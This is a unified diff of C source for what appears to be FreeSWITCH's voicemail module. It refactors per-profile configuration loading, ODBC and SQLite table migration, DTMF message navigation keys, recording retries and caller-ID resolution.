-				if (!switch_strlen_zero(val)) {
-					tmp = atoi(val);
-				}
-				if (tmp > 0 && tmp < 10000) {
-					max_record_len = tmp;
-				} else {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid record length [%s] must be between 1 and 10000s\n", val);
-				}
-			} else if (!strcasecmp(var, "odbc-dsn") && !switch_strlen_zero(val)) {
-#ifdef SWITCH_HAVE_ODBC
-				odbc_dsn = switch_core_strdup(globals.pool, val);
-				if ((odbc_user = strchr(odbc_dsn, ':'))) {
-					*odbc_user++ = '\0';
-					if ((odbc_pass = strchr(odbc_user, ':'))) {
-						*odbc_pass++ = '\0';
-					}
-				}
-#else
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
-#endif
-			} else if (!strcasecmp(var, "auto-playback-recordings")){
-				auto_playback_recordings = switch_true(val);
 			}
 		}
 
-		if (switch_strlen_zero(name)) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No name specified.\n");
-		} else {
-			profile = switch_core_alloc(globals.pool, sizeof(*profile));
-			profile->name = switch_core_strdup(globals.pool, name);
+		profile->dbname = switch_core_sprintf(profile->pool, "voicemail_%s", profile_name);
+		if (switch_odbc_available() && profile->odbc_dsn) {
+			if (!(profile->master_odbc = switch_odbc_handle_new(profile->odbc_dsn, profile->odbc_user, profile->odbc_pass))) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
+				goto end;
 
-			if (!switch_strlen_zero(odbc_dsn) && !switch_strlen_zero(odbc_user) && !switch_strlen_zero(odbc_pass)) {
-				profile->odbc_dsn = odbc_dsn;
-				profile->odbc_user = odbc_user;
-				profile->odbc_pass = odbc_pass;
-			} else {
-				profile->dbname = switch_core_sprintf(globals.pool, "voicemail_%s", name);
 			}
-			if (profile->odbc_dsn) {
-#ifdef SWITCH_HAVE_ODBC
-				if (!(profile->master_odbc = switch_odbc_handle_new(profile->odbc_dsn, profile->odbc_user, profile->odbc_pass))) {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
-					continue;
+			if (switch_odbc_handle_connect(profile->master_odbc) != SWITCH_ODBC_SUCCESS) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
+				goto end;
+			}
 
-				}
-				if (switch_odbc_handle_connect(profile->master_odbc) != SWITCH_ODBC_SUCCESS) {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
-					continue;
-				}
+			if (switch_odbc_handle_exec(profile->master_odbc, "select count(message_len) from voicemail_msgs", NULL) != SWITCH_ODBC_SUCCESS) {
+				switch_odbc_handle_exec(profile->master_odbc, "drop table voicemail_msgs", NULL);
+				switch_odbc_handle_exec(profile->master_odbc, vm_sql, NULL);
+			}
 
-				if (switch_odbc_handle_exec(profile->master_odbc, "select count(message_len) from voicemail_msgs", NULL) != SWITCH_ODBC_SUCCESS) {
-					switch_odbc_handle_exec(profile->master_odbc, "drop table voicemail_msgs", NULL);
-					switch_odbc_handle_exec(profile->master_odbc, vm_sql, NULL);
-				}
+			if (switch_odbc_handle_exec(profile->master_odbc, "select count(username) from voicemail_prefs", NULL) != SWITCH_ODBC_SUCCESS) {
+				switch_odbc_handle_exec(profile->master_odbc, "drop table voicemail_prefs", NULL);
+				switch_odbc_handle_exec(profile->master_odbc, vm_pref_sql, NULL);
+			}
 
-				if (switch_odbc_handle_exec(profile->master_odbc, "select count(username) from voicemail_prefs", NULL) != SWITCH_ODBC_SUCCESS) {
-					switch_odbc_handle_exec(profile->master_odbc, "drop table voicemail_prefs", NULL);
-					switch_odbc_handle_exec(profile->master_odbc, vm_pref_sql, NULL);
-				}
+			if (switch_odbc_handle_exec(profile->master_odbc, "select count(password) from voicemail_prefs", NULL) != SWITCH_ODBC_SUCCESS) {
+				switch_odbc_handle_exec(profile->master_odbc, "alter table voicemail_prefs add password varchar(255)", NULL);
+			}
 
-				if (switch_odbc_handle_exec(profile->master_odbc, "select count(password) from voicemail_prefs", NULL) != SWITCH_ODBC_SUCCESS) {
-					switch_odbc_handle_exec(profile->master_odbc, "alter table voicemail_prefs add password varchar(255)", NULL);
+			if (switch_odbc_handle_exec(profile->master_odbc, "select count(message_len) from voicemail_data", NULL) == SWITCH_ODBC_SUCCESS) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Old table voicemail_data found, migrating data!\n");
+				/* XXX: Old table found.. migrating data into new table */
+				if (switch_odbc_handle_exec(profile->master_odbc,
+											"insert into voicemail_msgs (created_epoch, read_epoch, username, domain, uuid, cid_name, cid_number, "
+											"in_folder, file_path, message_len, flags, read_flags) "
+											"select created_epoch, read_epoch, user, domain, uuid, "
+											"cid_name, cid_number, in_folder, file_path, message_len, flags, read_flags from voicemail_data",
+											NULL) != SWITCH_ODBC_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Failed to migrate old voicemail_data to voicemail_msgs!\n");
+					goto end;
 				}
+				switch_odbc_handle_exec(profile->master_odbc, "drop table voicemail_data", NULL);
+			}
 
-				if (switch_odbc_handle_exec(profile->master_odbc, "select count(message_len) from voicemail_data", NULL) == SWITCH_ODBC_SUCCESS) {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Old table voicemail_data found, migrating data!\n");
-					/* XXX: Old table found.. migrating data into new table */
-					if (switch_odbc_handle_exec(profile->master_odbc,
-												"insert into voicemail_msgs select created_epoch, read_epoch, user as username, domain, uuid,"
-												"cid_name, cid_number, in_folder, file_path, message_len, flags, read_flags from voicemail_data",
-												NULL) != SWITCH_ODBC_SUCCESS) {
-						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Failed to migrate old voicemail_data to voicemail_msgs!\n");
-						continue;
-					}
-					switch_odbc_handle_exec(profile->master_odbc, "drop table voicemail_data", NULL);
-				}
-#endif
-			} else {
-				if ((db = switch_core_db_open_file(profile->dbname))) {
-					char *errmsg;
-					switch_core_db_test_reactive(db, "select count(message_len) from voicemail_msgs", "drop table voicemail_msgs", vm_sql);
+			for (x = 0; vm_index_list[x]; x++) {
+				switch_odbc_handle_exec(profile->master_odbc, vm_index_list[x], NULL);
+			}
+		} else {
+			if ((db = switch_core_db_open_file(profile->dbname))) {
+				char *errmsg;
+				switch_core_db_test_reactive(db, "select count(message_len) from voicemail_msgs", "drop table voicemail_msgs", vm_sql);
 
-					switch_core_db_exec(db, "select count(message_len) from voicemail_data", NULL, NULL, &errmsg);
+				switch_core_db_exec(db, "select count(message_len) from voicemail_data", NULL, NULL, &errmsg);
+				if (errmsg) {
+					switch_core_db_free(errmsg);
+					errmsg = NULL;
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Migrating data from voicemail_data to voicemail_msgs!\n");
+					switch_core_db_exec(db, "insert into voicemail_msgs (created_epoch, read_epoch, username, domain, uuid, cid_name, cid_number, "
+										"in_folder, file_path, message_len, flags, read_flags) "
+										"select created_epoch, read_epoch, user, domain, uuid, "
+										"cid_name, cid_number, in_folder, file_path, message_len, flags, read_flags from voicemail_data",
+										NULL, NULL, &errmsg);
 					if (errmsg) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL ERR [%s]\n", errmsg);
 						switch_core_db_free(errmsg);
 						errmsg = NULL;
-					} else {
-						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Migrating data from voicemail_data to voicemail_msgs!\n");
-						switch_core_db_exec(db, "insert into voicemail_msgs select created_epoch, read_epoch, user as username, domain, uuid,"
-											"cid_name, cid_number, in_folder, file_path, message_len, flags, read_flags from voicemail_data",
-											NULL, NULL, &errmsg);
-						if (errmsg) {
-							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL ERR [%s]\n", errmsg);
-							switch_core_db_free(errmsg);
-							errmsg = NULL;
-						}
-						switch_core_db_exec(db, "drop table voicemail_data", NULL, NULL, &errmsg);
-						if (errmsg) {
-							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL ERR [%s]\n", errmsg);
-							switch_core_db_free(errmsg);
-							errmsg = NULL;
-						}
 					}
+					switch_core_db_exec(db, "drop table voicemail_data", NULL, NULL, &errmsg);
+					if (errmsg) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL ERR [%s]\n", errmsg);
+						switch_core_db_free(errmsg);
+						errmsg = NULL;
+					}
+				}
 
 
-					switch_core_db_test_reactive(db, "select count(username) from voicemail_prefs", "drop table voicemail_prefs", vm_pref_sql);
-					switch_core_db_test_reactive(db, "select count(password) from voicemail_prefs", NULL, 
+				switch_core_db_test_reactive(db, "select count(username) from voicemail_prefs", "drop table voicemail_prefs", vm_pref_sql);
+				switch_core_db_test_reactive(db, "select count(password) from voicemail_prefs", NULL, 
 												 "alter table voicemail_prefs add password varchar(255)");
-				} else {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open SQL Database!\n");
-					continue;
+
+				for (x = 0; vm_index_list[x]; x++) {
+					errmsg = NULL;
+					switch_core_db_exec(db, vm_index_list[x], NULL, NULL, &errmsg);
+					switch_safe_free(errmsg);
 				}
-				switch_core_db_close(db);
-			}
 
-			profile->web_head = web_head;
-			profile->web_tail = web_tail;
-
-			profile->email_body = email_body;
-			profile->email_headers = email_headers;
-			if (notify_email_headers) {
-				profile->notify_email_body = notify_email_body;
-				profile->notify_email_headers = notify_email_headers;
 			} else {
-				profile->notify_email_body = email_body;
-				profile->notify_email_headers = email_headers;
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open SQL Database!\n");
+				goto end;
 			}
-			profile->email_from = switch_core_strdup(globals.pool, email_from);
-			profile->date_fmt = switch_core_strdup(globals.pool, date_fmt);
-			profile->play_date_announcement = play_date_announcement;
+			switch_core_db_close(db);
+		}
 
-			profile->digit_timeout = timeout;
-			profile->max_login_attempts = max_login_attempts;
-			profile->min_record_len = min_record_len;
-			profile->max_record_len = max_record_len;
-			*profile->terminator_key = *terminator_key;
-			*profile->play_new_messages_key = *play_new_messages_key;
-			*profile->play_saved_messages_key = *play_saved_messages_key;
-			*profile->main_menu_key = *main_menu_key;
-			*profile->skip_greet_key = *skip_greet_key;
-			*profile->config_menu_key = *config_menu_key;
-			*profile->record_greeting_key = *record_greeting_key;
-			*profile->choose_greeting_key = *choose_greeting_key;
-			*profile->record_name_key = *record_name_key;
-			*profile->change_pass_key = *change_pass_key;
-			*profile->record_file_key = *record_file_key;
-			*profile->listen_file_key = *listen_file_key;
-			*profile->save_file_key = *save_file_key;
-			*profile->delete_file_key = *delete_file_key;
-			*profile->undelete_file_key = *undelete_file_key;
-			*profile->email_key = *email_key;
-			*profile->callback_key = *callback_key;
-			*profile->pause_key = *pause_key;
-			*profile->restart_key = *restart_key;
-			*profile->ff_key = *ff_key;
-			*profile->rew_key = *rew_key;
-			*profile->urgent_key = *urgent_key;
-			*profile->operator_key = *operator_key;
-			*profile->vmain_key = *vmain_key;
-			*profile->forward_key = *forward_key;
-			*profile->prepend_key = *prepend_key;
-			profile->record_threshold = record_threshold;
-			profile->record_silence_hits = record_silence_hits;
-			profile->record_sample_rate = record_sample_rate;
 
-			profile->auto_playback_recordings = auto_playback_recordings;
-			profile->operator_ext = switch_core_strdup(globals.pool, operator_ext);
-			profile->vmain_ext = switch_core_strdup(globals.pool, vmain_ext);
-			profile->storage_dir = switch_core_strdup(globals.pool, storage_dir);
-			profile->tone_spec = switch_core_strdup(globals.pool, tone_spec);
-			profile->callback_dialplan = switch_core_strdup(globals.pool, callback_dialplan);
-			profile->callback_context = switch_core_strdup(globals.pool, callback_context);
+		switch_mutex_init(&profile->mutex, SWITCH_MUTEX_NESTED, profile->pool);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Added Profile %s\n", profile->name);
+		switch_core_hash_insert(globals.profile_hash, profile->name, profile);
+	}
 
-			profile->record_title = switch_core_strdup(globals.pool, record_title);
-			profile->record_comment = switch_core_strdup(globals.pool, record_comment);
-			profile->record_copyright = switch_core_strdup(globals.pool, record_copyright);
+  end:
+	if (xml) {
+		switch_xml_free(xml);
+	}
+	return profile;
 
-			switch_copy_string(profile->file_ext, file_ext, sizeof(profile->file_ext));
-			switch_mutex_init(&profile->mutex, SWITCH_MUTEX_NESTED, globals.pool);
+}
 
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Added Profile %s\n", profile->name);
-			switch_core_hash_insert(globals.profile_hash, profile->name, profile);
+
+static vm_profile_t * get_profile(const char *profile_name) 
+{
+	vm_profile_t *profile = NULL;
+
+	switch_mutex_lock(globals.mutex);
+	if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
+    	profile = load_profile(profile_name);
+	}
+	if (profile) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] rwlock\n", profile->name);
+		
+		switch_thread_rwlock_rdlock(profile->rwlock);
+	}
+	switch_mutex_unlock(globals.mutex);
+
+	return profile;
+}
+
+static void profile_rwunlock(vm_profile_t *profile)
+{
+	switch_thread_rwlock_unlock(profile->rwlock);
+	if (switch_test_flag(profile, PFLAG_DESTROY)) {
+		if (switch_thread_rwlock_tryrdlock(profile->rwlock) == SWITCH_STATUS_SUCCESS) {
+			free_profile(profile);
 		}
 	}
+}
 
-  end:
+
+static switch_status_t load_config(void)
+{
+	switch_xml_t cfg, xml, settings, param, x_profiles, x_profile;
+
+	if (!(xml = switch_xml_open_cfg(global_cf, &cfg, NULL))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", global_cf);
+		return SWITCH_STATUS_TERM;
+	}
+
+	switch_mutex_lock(globals.mutex);
+	if ((settings = switch_xml_child(cfg, "settings"))) {
+		for (param = switch_xml_child(settings, "param"); param; param = param->next) {
+			char *var = (char *) switch_xml_attr_soft(param, "name");
+			char *val = (char *) switch_xml_attr_soft(param, "value");
+
+			if (!strcasecmp(var, "debug")) {
+				globals.debug = atoi(val);
+			} else if (!strcasecmp(var, "message-query-exact-match")) {
+				globals.message_query_exact_match = switch_true(val);
+			}
+		}
+	}
+
+	if ((x_profiles = switch_xml_child(cfg, "profiles"))) {
+		for (x_profile = switch_xml_child(x_profiles, "profile"); x_profile; x_profile = x_profile->next) {
+			load_profile(switch_xml_attr_soft(x_profile, "name"));
+		}
+	}
+	switch_mutex_unlock(globals.mutex);
+
 	switch_xml_free(xml);
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -815,7 +884,8 @@
 
 			if (!cc->noexit
 				&& (dtmf->digit == *cc->profile->delete_file_key || dtmf->digit == *cc->profile->save_file_key
-					|| dtmf->digit == *cc->profile->terminator_key)) {
+					|| dtmf->digit == *cc->profile->prev_msg_key || dtmf->digit == *cc->profile->next_msg_key
+					|| dtmf->digit == *cc->profile->terminator_key || dtmf->digit == *cc->profile->skip_info_key)) {
 				*cc->buf = dtmf->digit;
 				return SWITCH_STATUS_BREAK;
 			}
@@ -847,10 +917,14 @@
 			}
 
 			if (dtmf->digit == *cc->profile->rew_key) {
-				int samps = 24000;
-				switch_core_file_seek(fh, &pos, fh->pos - samps, SEEK_SET);
+				int samps = -48000;
+				switch_core_file_seek(fh, &pos, samps, SEEK_CUR);
 				return SWITCH_STATUS_SUCCESS;
 			}
+			if (!cc->noexit && dtmf->digit == *cc->profile->terminator_key) {
+				*cc->buf = dtmf->digit;
+				return SWITCH_STATUS_BREAK;
+			}
 		}
 		break;
 	default:
@@ -919,6 +993,7 @@
 #define VM_HELLO_MACRO "voicemail_hello"
 #define VM_GOODBYE_MACRO "voicemail_goodbye"
 #define VM_MESSAGE_COUNT_MACRO "voicemail_message_count"
+#define VM_DISK_QUOTA_EXCEEDED_MACRO "voicemail_disk_quota_exceeded"
 #define URGENT_FLAG_STRING "A_URGENT"
 #define NORMAL_FLAG_STRING "B_NORMAL"
 
@@ -1017,7 +1092,7 @@
 							  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
 
 		if (switch_core_file_seek(&fh, &pos, 0, SEEK_END) == SWITCH_STATUS_SUCCESS) {
-			*message_len = pos;
+			*message_len = pos / fh.samplerate;
 			status = SWITCH_STATUS_SUCCESS;
 		}
 		switch_core_file_close(&fh);
@@ -1038,22 +1113,25 @@
 	char term;
 	char input[10] = "", key_buf[80] = "";
 	cc_t cc = { 0 };
-	switch_codec_t *read_codec;
+	switch_codec_implementation_t read_impl = {0};
+	int got_file = 0;
 
-	read_codec = switch_core_session_get_read_codec(session);
+    switch_core_session_get_read_impl(session, &read_impl);
 
+
 	if (exit_keys) {
 		*key_pressed = '\0';
 	}
 
 	while (switch_channel_ready(channel)) {
-
+		uint32_t counter = 0;
 		switch_snprintf(key_buf, sizeof(key_buf), "%s:%s:%s", profile->listen_file_key, profile->save_file_key, profile->record_file_key);
 
 	  record_file:
 		*message_len = 0;
 
 		if (macro_name) TRY_CODE(switch_ivr_phrase_macro(session, macro_name, NULL, NULL, NULL));
+		switch_channel_flush_dtmf(channel);
 		TRY_CODE(switch_ivr_gentones(session, profile->tone_spec, 0, NULL));
 
 		memset(&fh, 0, sizeof(fh));
@@ -1068,18 +1146,24 @@
 
 		switch_ivr_record_file(session, &fh, file_path, &args, profile->max_record_len);
 
-		if (limit && (*message_len = fh.sample_count / read_codec->implementation->actual_samples_per_second) < profile->min_record_len) {
+		if (switch_file_exists(file_path, switch_core_session_get_pool(session)) == SWITCH_STATUS_SUCCESS) {
+			got_file = 1;
+		}
+
+		if (limit && (*message_len = fh.sample_count / read_impl.actual_samples_per_second) < profile->min_record_len) {
 			if (unlink(file_path) != 0) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Failed to delete file [%s]\n", file_path);
 			}
+			got_file = 0;
 			if (exit_keys && input[0] && strchr(exit_keys, input[0])) {
 				*key_pressed = input[0];
 				return SWITCH_STATUS_SUCCESS;
 			}
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Message is less than minimum record length: %d, discarding it.\n",
 							  profile->min_record_len);
-			if (switch_channel_ready(channel)) {
+			if (switch_channel_ready(channel) && counter < profile->max_retries) {
 				TRY_CODE(switch_ivr_phrase_macro(session, VM_ACK_MACRO, "too-small", NULL, NULL));
+				counter++;
 				goto record_file;
 			} else {
 				status = SWITCH_STATUS_NOTFOUND;
@@ -1123,6 +1207,11 @@
 	}
 
   end:
+
+	if (!got_file) {
+		status = SWITCH_STATUS_NOTFOUND;
+	}
+
 	return status;
 }
 
@@ -1144,6 +1233,7 @@
 	int index;
 	int want;
 	msg_type_t type;
+	msg_move_t move; 
 };
 typedef struct listen_callback listen_callback_t;
 
@@ -1171,17 +1261,38 @@
 	return -1;
 }
 
+static char *resolve_id(const char *myid, const char *domain_name, const char *action)
+{
+	switch_xml_t xx_user, xx_domain, xx_domain_root;
+	switch_event_t *params;
+	char *ret = (char *) myid;
 
-static void message_count(vm_profile_t *profile, const char *myid, const char *domain_name, const char *myfolder,
+	switch_event_create(&params, SWITCH_EVENT_GENERAL);
+	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "action", action);
+
+	if (switch_xml_locate_user("id", myid, domain_name, NULL,
+							   &xx_domain_root, &xx_domain, &xx_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
+		ret = strdup(switch_xml_attr(xx_user, "id"));
+		switch_xml_free(xx_domain_root);
+	}
+	
+	switch_event_destroy(&params);
+	return ret;
+}
+
+static void message_count(vm_profile_t *profile, const char *id_in, const char *domain_name, const char *myfolder,
 						  int *total_new_messages, int *total_saved_messages, int *total_new_urgent_messages, int *total_saved_urgent_messages)
 {
 	char msg_count[80] = "";
 	callback_t cbt = { 0 };
 	char sql[256];
+	char *myid = NULL;
 
 	cbt.buf = msg_count;
 	cbt.len = sizeof(msg_count);
-
+	
+	myid = resolve_id(id_in, domain_name, "message-count");
+	
 	switch_snprintf(sql, sizeof(sql),
 					"select count(*) from voicemail_msgs where username='%s' and domain='%s' and in_folder='%s' and read_epoch=0",
 					myid, domain_name, myfolder);
@@ -1205,6 +1316,10 @@
 					myid, domain_name, myfolder, URGENT_FLAG_STRING);
 	vm_execute_sql_callback(profile, profile->mutex, sql, sql2str_callback, &cbt);
 	*total_saved_urgent_messages = atoi(msg_count);
+
+	if (myid != id_in) {
+		free(myid);
+	}
 }
 
 #define VM_STARTSAMPLES 1024 * 32
@@ -1212,7 +1327,6 @@
 static char *vm_merge_file(switch_core_session_t *session, vm_profile_t *profile, const char *announce, const char *orig)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);	
-	switch_codec_t *read_codec = switch_core_session_get_read_codec(session);
 	switch_file_handle_t lrfh = { 0 }, *rfh = NULL, lfh = { 0 }, *fh = NULL;
 	char *tmp_path;
 	switch_uuid_t uuid;
@@ -1221,19 +1335,21 @@
 	int16_t *abuf = NULL;
 	switch_size_t olen = 0;
 	int asis = 0;
+    switch_codec_implementation_t read_impl = {0};
+    switch_core_session_get_read_impl(session, &read_impl);
 
 	switch_uuid_get(&uuid);
 	switch_uuid_format(uuid_str, &uuid);
 
-	lfh.channels = read_codec->implementation->number_of_channels;
-	lfh.native_rate = read_codec->implementation->actual_samples_per_second;
+	lfh.channels = read_impl.number_of_channels;
+	lfh.native_rate = read_impl.actual_samples_per_second;
 
 	tmp_path = switch_core_session_sprintf(session, "%s%smsg_%s.%s", SWITCH_GLOBAL_dirs.temp_dir, SWITCH_PATH_SEPARATOR, uuid_str, profile->file_ext);
 
 	if (switch_core_file_open(&lfh,
 							  tmp_path,
 							  lfh.channels,
-							  read_codec->implementation->actual_samples_per_second,
+							  read_impl.actual_samples_per_second,
 							  SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file %s\n", tmp_path);
 		goto end;
@@ -1245,7 +1361,7 @@
 	if (switch_core_file_open(&lrfh,
 							  announce,
 							  lfh.channels,
-							  read_codec->implementation->actual_samples_per_second,
+							  read_impl.actual_samples_per_second,
 							  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file %s\n", announce);
 		goto end;
@@ -1282,7 +1398,7 @@
 	if (switch_core_file_open(&lrfh,
 							  orig,
 							  lfh.channels,
-							  read_codec->implementation->actual_samples_per_second,
+							  read_impl.actual_samples_per_second,
 							  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file %s\n", orig);
 		goto end;
@@ -1362,10 +1478,11 @@
 			TRY_CODE(switch_ivr_phrase_macro(session, VM_SAY_DATE_MACRO, cbt->created_epoch, NULL, &args));
 		}
 
-		if (!*cc.buf) {
+		if (!*cc.buf || *cc.buf == *cc.profile->skip_info_key) {
+			*cc.buf = '\0';
 			memset(&fh, 0, sizeof(fh));
 			cc.fh = &fh;
-			TRY_CODE(switch_ivr_play_file(session, NULL, cbt->file_path, &args));
+			TRY_CODE(switch_ivr_play_file(session, &fh, cbt->file_path, &args));
 		}
 
 		if (!*cc.buf && (profile->play_date_announcement == VM_DATE_LAST)) {
@@ -1382,8 +1499,12 @@
 			} else {
 				TRY_CODE(vm_macro_get(session, VM_LISTEN_FILE_CHECK_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout));
 			}
-
-			if (!strcmp(input, profile->listen_file_key)) {
+			if (!strcmp(input, profile->prev_msg_key)) {
+				cbt->move = VM_MOVE_PREV;
+			} else if (!strcmp(input, profile->next_msg_key)) {
+				cbt->move = VM_MOVE_NEXT;
+			} else if (!strcmp(input, profile->listen_file_key)) {
+				*cc.buf = '\0';
 				goto play_file;
 			} else if (!strcmp(input, profile->callback_key)) {
 				switch_core_session_execute_exten(session, cbt->cid_number, profile->callback_dialplan, profile->callback_context);
@@ -1586,7 +1707,7 @@
 	if (total_new_messages || total_new_urgent_messages) {
 		yn = "yes";
 	}
-	switch_event_add_header(event, SWITCH_STACK_BOTTOM, "MWI-Messages-Waiting", "%s", yn);
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "MWI-Messages-Waiting", yn);
 	switch_event_add_header(event, SWITCH_STACK_BOTTOM, "MWI-Message-Account", "%s@%s", id, domain_name);
 	switch_event_add_header(event, SWITCH_STACK_BOTTOM, "MWI-Voice-Message", "%d/%d (%d/%d)", total_new_messages, total_saved_messages, total_new_urgent_messages, total_saved_urgent_messages);
 	switch_event_fire(&event);
@@ -1596,16 +1717,15 @@
 #define FREE_DOMAIN_ROOT() if (x_domain_root) switch_xml_free(x_domain_root); x_user = x_domain = x_domain_root = NULL
 
 
-static void voicemail_check_main(switch_core_session_t *session, const char *profile_name, const char *domain_name, const char *id, int auth)
+static void voicemail_check_main(switch_core_session_t *session, vm_profile_t *profile, const char *domain_name, const char *id, int auth)
 {
 	vm_check_state_t vm_check_state = VM_CHECK_START;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_caller_profile_t *caller_profile = switch_channel_get_caller_profile(channel);
-	vm_profile_t *profile;
 	switch_xml_t x_domain = NULL, x_domain_root = NULL, x_user = NULL, x_params, x_param;
 	switch_status_t status;
 	char pass_buf[80] = "", *mypass = NULL, id_buf[80] = "", *myfolder = NULL;
-	const char *thepass = NULL, *myid = id, *actual_id = NULL, *thehash = NULL, *vmhash = NULL;
+	const char *thepass = NULL, *myid = id, *thehash = NULL, *vmhash = NULL;
 	char term = 0;
 	uint32_t timeout, attempts = 0;
 	int failed = 0;
@@ -1622,7 +1742,7 @@
 	switch_input_args_t args = { 0 };
 	const char *caller_id_name = NULL;
 	const char *caller_id_number = NULL;
-	
+
 	if (!(caller_id_name = switch_channel_get_variable(channel, "effective_caller_id_name"))) {
 		caller_id_name = caller_profile->caller_id_name;
 	}
@@ -1631,11 +1751,6 @@
 		caller_id_number = caller_profile->caller_id_number;
 	}
 
-	if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error invalid profile %s\n", profile_name);
-		return;
-	}
-
 	timeout = profile->digit_timeout;
 	attempts = profile->max_login_attempts;
 	status = switch_ivr_phrase_macro(session, VM_HELLO_MACRO, NULL, NULL, &args);
@@ -1656,7 +1771,6 @@
 				play_msg_type = MSG_NONE;
 				attempts = profile->max_login_attempts;
 				myid = id;
-				actual_id = NULL;
 				mypass = NULL;
 				myfolder = "inbox";
 				vm_check_state = VM_CHECK_AUTH;
@@ -1735,6 +1849,7 @@
 							  &total_new_urgent_messages, &total_saved_urgent_messages);
 				memset(&cbt, 0, sizeof(cbt));
 				cbt.email = vm_email;
+				cbt.move = VM_MOVE_NEXT;
 				switch (play_msg_type) {
 				case MSG_NEW:
 					{
@@ -1760,14 +1875,22 @@
 					cbt.index = 0;
 					cbt.want = cur_message;
 					cbt.type = play_msg_type;
+					cbt.move = VM_MOVE_NEXT;
 					vm_execute_sql_callback(profile, profile->mutex, sql, listen_callback, &cbt);
 					status = listen_file(session, profile, &cbt);
+					if (cbt.move == VM_MOVE_PREV) {
+						if (cur_message <= 0) {
+							cur_message = -1;
+						} else {
+							cur_message -= 2;
+						}
+					}
 					if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
 						break;
 					}
 				}
 				switch_snprintf(sql, sizeof(sql), "update voicemail_msgs set read_epoch=%ld where username='%s' and domain='%s' and flags='save'",
-								(long) switch_timestamp(NULL), myid, domain_name);
+								(long) switch_epoch_time_now(NULL), myid, domain_name);
 				vm_execute_sql(profile, sql, profile->mutex);
 				switch_snprintf(sql, sizeof(sql), "select file_path from voicemail_msgs where username='%s' and domain='%s' and flags='delete'", myid,
 								domain_name);
@@ -1776,7 +1899,7 @@
 				vm_execute_sql(profile, sql, profile->mutex);
 				vm_check_state = VM_CHECK_FOLDER_SUMMARY;
 
-				update_mwi(profile, actual_id ? actual_id : myid, domain_name, myfolder);
+				update_mwi(profile, myid, domain_name, myfolder);
 			}
 			break;
 		case VM_CHECK_CONFIG:
@@ -1836,7 +1959,7 @@
 						cc.fh = &fh;
 						cc.noexit = 1;
 						greeting_args.buf = &cc;
-						status = switch_ivr_play_file(session, NULL, file_path, &greeting_args);
+						status = switch_ivr_play_file(session, &fh, file_path, &greeting_args);
 					}
 					if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
 						TRY_CODE(switch_ivr_phrase_macro(session, VM_CHOOSE_GREETING_FAIL_MACRO, NULL, NULL, NULL));
@@ -1975,7 +2098,6 @@
 
 					switch_event_create(&params, SWITCH_EVENT_GENERAL);
 					switch_assert(params);
-					switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "mailbox", myid);
